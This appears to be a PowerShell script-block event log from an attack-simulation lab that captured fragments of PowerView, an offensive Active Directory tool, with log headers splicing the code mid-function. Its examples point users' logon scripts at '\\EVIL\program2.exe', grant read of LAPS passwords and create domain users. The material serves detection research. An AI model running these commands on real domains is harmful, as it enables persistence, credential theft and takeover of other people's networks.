[int[]]
$HoursArr
)
$LogonHours = New-Object bool[] 24
for($i=0; $i -lt 3; $i++) {
$Byte = $HoursArr[$i]
$Offset = $i * 8
$Str = [Convert]::ToString($Byte,2).PadLeft(8,'0')
$LogonHours[$Offset+0] = [bool] [convert]::ToInt32([string]$Str[7])
$LogonHours[$Offset+1] = [bool] [convert]::ToInt32([string]$Str[6])
$LogonHours[$Offset+2] = [bool] [convert]::ToInt32([string]$Str[5])
$LogonHours[$Offset+3] = [bool] [convert]::ToInt32([string]$Str[4])
$LogonHours[$Offset+4] = [bool] [convert]::ToInt32([string]$Str[3])
$LogonHours[$Offset+5] = [bool] [convert]::ToInt32([string]$Str[2])
$LogonHours[$Offset+6] = [bool] [convert]::ToInt32([string]$Str[1])
$LogonHours[$Offset+7] = [bool] [convert]::ToInt32([string]$Str[0])
}
$LogonHours
}
}
Process {
$Output = @{
Sunday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[0..2]
Monday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[3..5]
Tuesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[6..8]
Wednesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[9..11]
Thurs = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[12..14]
Friday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[15..17]
Saturday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[18..20]
}
$Output = New-Object PSObject -Property $Output
$Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonHours')
$Output
}
}
function New-ADObjectAccessControlEntry {
<#
.SYNOPSIS
Creates a new Active Directory object-specific access control entry.
Author: Lee Christensen (@tifkin_)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Creates a new object-specific access control entry (ACE). The ACE could be
used for auditing access to an object or controlling access to objects.
.PARAMETER PrincipalIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain principal to add for the ACL. Required. Wildcards accepted.
.PARAMETER PrincipalDomain
Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
.PARAMETER PrincipalSearchBase
The LDAP source to search through for principals, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Right
Specifies the rights set on the Active Directory object.
.PARAMETER AccessControlType
Specifies the type of ACE (allow or deny)
.PARAMETER AuditFlag
For audit ACEs, specifies when to create an audit log (on success or failure)
.PARAMETER ObjectType
Specifies the GUID of the object that the ACE applies to.
.PARAMETER InheritanceType
Specifies how the ACE applies to the object and/or its children.
.PARAMETER InheritedObjectType
Specifies the type of object that can inherit the ACE.
.EXAMPLE
$Guids = Get-DomainGUIDMap
$AdmPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'ms-Mcs-AdmPwd'} | select -ExpandProperty name
$CompPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'Computer'} | select -ExpandProperty name
$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity itadmin -Right ExtendedRight,ReadProperty -AccessControlType Allow -ObjectType $AdmPropertyGuid -InheritanceType All -InheritedObjectType $CompPropertyGuid
$OU = Get-DomainOU -Raw Workstations
$DsEntry = $OU.GetDirectoryEntry()
$dsEntry.PsBase.Options.SecurityMasks = 'Dacl'
$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
$dsEntry.PsBase.CommitChanges()
Adds an ACE to all computer objects in the OU "Workstations" permitting the
user "itadmin" to read the confidential ms-Mcs-AdmPwd computer property.
.OUTPUTS
System.Security.AccessControl.AuthorizationRule
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Security.AccessControl.AuthorizationRule')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True, Mandatory = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String]
$PrincipalIdentity,
[ValidateNotNullOrEmpty()]
[String]
$PrincipalDomain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $True)]
[ValidateSet('AccessSystemSecurity', 'CreateChild','Delete','DeleteChild','DeleteTree','ExtendedRight','GenericAll','GenericExecute','GenericRead','GenericWrite','ListChildren','ListObject','ReadControl','ReadProperty','Self','Synchronize','WriteDacl','WriteOwner','WriteProperty')]
$Right,
[Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')]
[ValidateSet('Allow', 'Deny')]
[String[]]
$AccessControlType,
[Parameter(Mandatory = $True, ParameterSetName='AuditRuleType')]
[ValidateSet('Success', 'Failure')]
[String]
$AuditFlag,
[Parameter(Mandatory = $False, ParameterSetName='AccessRuleType')]
772cdd4b-a872-46c0-a0e0-ae5d86e232f7
4104132150x0112075Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local2062e782c1-16a1-400b-a7d0-1126038c6387
AttributeName : member
AttributeValue : CN=Administrator,CN=Users,DC=testlab,DC=local
TimeDeleted : 2017-03-06T00:48:29Z
TimeCreated : 2017-03-06T00:48:29Z
LastOriginatingChange : 2017-03-06T00:48:29Z
Version : 1
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
l
ObjectDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local
ObjectGuid : af94f49e-61a5-4f7d-a17c-d80fb16a5220
AttributeName : member
AttributeValue : CN=dfm,CN=Users,DC=testlab,DC=local
TimeDeleted : 2017-06-13T22:20:02Z
TimeCreated : 2017-06-13T22:20:02Z
LastOriginatingChange : 2017-06-13T22:20:22Z
Version : 2
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
l
ObjectDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local
ObjectGuid : af94f49e-61a5-4f7d-a17c-d80fb16a5220
AttributeName : member
AttributeValue : CN=Administrator,CN=Users,DC=testlab,DC=local
TimeDeleted : 2017-03-06T00:48:29Z
TimeCreated : 2017-03-06T00:48:29Z
LastOriginatingChange : 2017-03-06T00:48:29Z
Version : 1
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
l
.EXAMPLE
Get-DomainObjectLinkedAttributeHistory ServerAdmins -Domain testlab.local
ObjectDN : CN=ServerAdmins,CN=Users,DC=testlab,DC=local
ObjectGuid : 603b46ad-555c-49b3-8745-c0718febefc2
AttributeName : member
AttributeValue : CN=jason.a,CN=Users,DC=dev,DC=testlab,DC=local
TimeDeleted : 2017-04-10T22:17:19Z
TimeCreated : 2017-04-10T22:17:19Z
LastOriginatingChange : 2017-04-10T22:17:19Z
Version : 1
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
l
.OUTPUTS
PowerView.ADObjectLinkedAttributeHistory
Custom PSObject with translated replication metadata fields.
.LINK
https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[OutputType('PowerView.ADObjectLinkedAttributeHistory')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{
'Properties' = 'msds-replvaluemetadata','distinguishedname'
'Raw' = $True
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['Properties']) {
$PropertyFilter = $PSBoundParameters['Properties'] -Join '|'
}
else {
$PropertyFilter = ''
}
}
PROCESS {
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
Get-DomainObject @SearcherArguments | ForEach-Object {
$ObjectDN = $_.Properties['distinguishedname'][0]
ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) {
$TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue
if ($TempObject) {
if ($TempObject.pszAttributeName -Match $PropertyFilter) {
$Output = New-Object PSObject
$Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN
$Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName
$Output | Add-Member NoteProperty 'AttributeValue' $TempObject.pszObjectDn
$Output | Add-Member NoteProperty 'TimeCreated' $TempObject.ftimeCreated
$Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted
$Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange
$Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion
$Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN
$Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectLinkedAttributeHistory')
$Output
}
}
else {
Write-Verbose "[Get-DomainObjectLinkedAttributeHistory] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'"
}
}
}
}
}
function Set-DomainObject {
<#
.SYNOPSIS
Modifies a gven property for a specified active directory object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
.DESCRIPTION
Splats user/object targeting parameters to Get-DomainObject, returning the raw
searchresult object. Retrieves the raw directoryentry for the object, and sets
any values from -Set @{}, XORs any values from -XOR @{}, and clears any values
from -Clear @().
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER Set
Specifies values for one or more object properties (in the form of a hashtable) that will replace the current values.
.PARAMETER XOR
Specifies values for one or more object properties (in the form of a hashtable) that will XOR the current values.
.PARAMETER Clear
Specifies an array of object properties that will be cleared in the directory.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
VERBOSE: Setting mstsinitialprogram to \\EVIL\program.exe for object testuser
.EXAMPLE
"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Set @{'countrycode'=1234; 'mstsinitialprogram'='\\EVIL\program2.exe'} -Verbose
VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string:
(&(|(objectsid=S-1-5-21-890171859-3433809279-3366196753-1108)))
VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object harmj0y
VERBOSE: Setting countrycode to 1234 for object harmj0y
VERBOSE: Get-DomainSearcher search string:
LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object testuser
VERBOSE: Setting countrycode to 1234 for object testuser
.EXAMPLE
"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Clear department -Verbose
Cleares the 'department' field for both object identities.
.EXAMPLE
Get-DomainUser testuser | ConvertFrom-UACValue -Verbose
Name Value
---- -----
NORMAL_ACCOUNT 512
Set-DomainObject -Identity testuser -XOR @{useraccountcontrol=65536} -Verbose
VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
VERBOSE: XORing 'useraccountcontrol' with '65536' for object 'testuser'
Get-DomainUser testuser | ConvertFrom-UACValue -Verbose
Name Value
---- -----
NORMAL_ACCOUNT 512
DONT_EXPIRE_PASSWORD 65536
.EXAMPLE
Get-DomainUser -Identity testuser -Properties scriptpath
scriptpath
----------
\\primary\sysvol\blah.ps1
$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Set-DomainObject -Identity testuser -Set @{'scriptpath'='\\EVIL\program2.exe'} -Credential $Cred -Verbose
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser))))
VERBOSE: [Set-DomainObject] Setting 'scriptpath' to '\\EVIL\program2.exe' for object 'testuser'
Get-DomainUser -Identity testuser -Properties scriptpath
scriptpath
----------
\\EVIL\program2.exe
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[Alias('Replace')]
[Hashtable]
$Set,
[ValidateNotNull772cdd4b-a872-46c0-a0e0-ae5d86e232f7
4104132150x0112073Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1862CValue))"
}
else {
$UACValue = [Int]($UACEnum::$_)
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
}
}
$CompSearcher.filter = "(&(samAccountType=805306369)$Filter)"
Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() }
else { $Results = $CompSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
$Up = $True
if ($PSBoundParameters['Ping']) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname
}
if ($Up) {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$Computer = $_
$Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw')
}
else {
$Computer = Convert-LDAPProperty -Properties $_.Properties
$Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer')
}
$Computer
}
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_"
}
}
$CompSearcher.dispose()
}
}
}
function Get-DomainObject {
<#
.SYNOPSIS
Return all (or specified) domain objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties samaccountname,usnchanged,...". By default, all objects for
the current domain are returned.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER UACFilter
Dynamic parameter that accepts one or more values from $UACEnum, including
"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainObject -Domain testlab.local
Return all objects for the testlab.local domain
.EXAMPLE
'S-1-5-21-890171859-3433809279-3366196753-1003', 'CN=dfm,CN=Users,DC=testlab,DC=local','b6a9a2fb-bbd5-4f28-9a09-23213cea6693','dfm.a' | Get-DomainObject -Properties distinguishedname
distinguishedname
-----------------
CN=PRIMARY,OU=Domain Controllers,DC=testlab,DC=local
CN=dfm,CN=Users,DC=testlab,DC=local
OU=OU3,DC=testlab,DC=local
CN=dfm (admin),CN=Users,DC=testlab,DC=local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainObject -Credential $Cred -Identity 'windows1'
.EXAMPLE
Get-Domain | Select-Object -Expand name
testlab.local
'testlab\harmj0y','DEV\Domain Admins' | Get-DomainObject -Verbose -Properties distinguishedname
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainUser] Extracted domain 'testlab.local' from 'testlab\harmj0y'
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))
distinguishedname
-----------------
CN=harmj0y,CN=Users,DC=testlab,DC=local
VERBOSE: [Get-DomainUser] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins'
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=Domain Admins)))
CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
.OUTPUTS
PowerView.ADObject
Custom PSObject with translated AD object property fields.
PowerView.ADObject.Raw
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[OutputType('PowerView.ADObject')]
[OutputType('PowerView.ADObject.Raw')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
DynamicParam {
$UACValueNames = [Enum]::GetNames($UACEnum)
# add in the negations
$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
# create new dynamic parameter
New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
}
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
#bind dynamic parameter to a friendly variable
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
}
if ($ObjectSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^(CN|OU|DC)=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
if (-not $ObjectSearcher) {
Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('\')) {
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
if ($ConvertedIdentityInstance) {
$ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
$ObjectName = $IdentityInstance.Split('\')[1]
$IdentityFilter += "(samAccountName=$ObjectName)"
$SearcherArguments['Domain'] = $ObjectDomain
Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'"
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
}
}
elseif ($IdentityInstance.Contains('.')) {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
}
else {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
# build the LDAP filter for the dynamic UAC filter value
$UACFilter | Where-Object {$_} | ForEach-Object {
if ($_ -match 'NOT_.*') {772cdd4b-a872-46c0-a0e0-ae5d86e232f7
4104132150x0112070Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1562ring: $($UserSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() }
else { $Results = $UserSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$User = $_
$User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw')
}
else {
$User = Convert-LDAPProperty -Properties $_.Properties
$User.PSObject.TypeNames.Insert(0, 'PowerView.User')
}
$User
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_"
}
}
$UserSearcher.dispose()
}
}
}
function New-DomainUser {
<#
.SYNOPSIS
Creates a new domain user (assuming appropriate permissions) and returns the user object.
TODO: implement all properties that New-ADUser implements (https://technet.microsoft.com/en-us/library/ee617253.aspx).
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-PrincipalContext
.DESCRIPTION
First binds to the specified domain context using Get-PrincipalContext.
The bound domain context is then used to create a new
DirectoryServices.AccountManagement.UserPrincipal with the specified user properties.
.PARAMETER SamAccountName
Specifies the Security Account Manager (SAM) account name of the user to create.
Maximum of 256 characters. Mandatory.
.PARAMETER AccountPassword
Specifies the password for the created user. Mandatory.
.PARAMETER Name
Specifies the name of the user to create. If not provided, defaults to SamAccountName.
.PARAMETER DisplayName
Specifies the display name of the user to create. If not provided, defaults to SamAccountName.
.PARAMETER Description
Specifies the description of the user to create.
.PARAMETER Domain
Specifies the domain to use to search for user/group principals, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
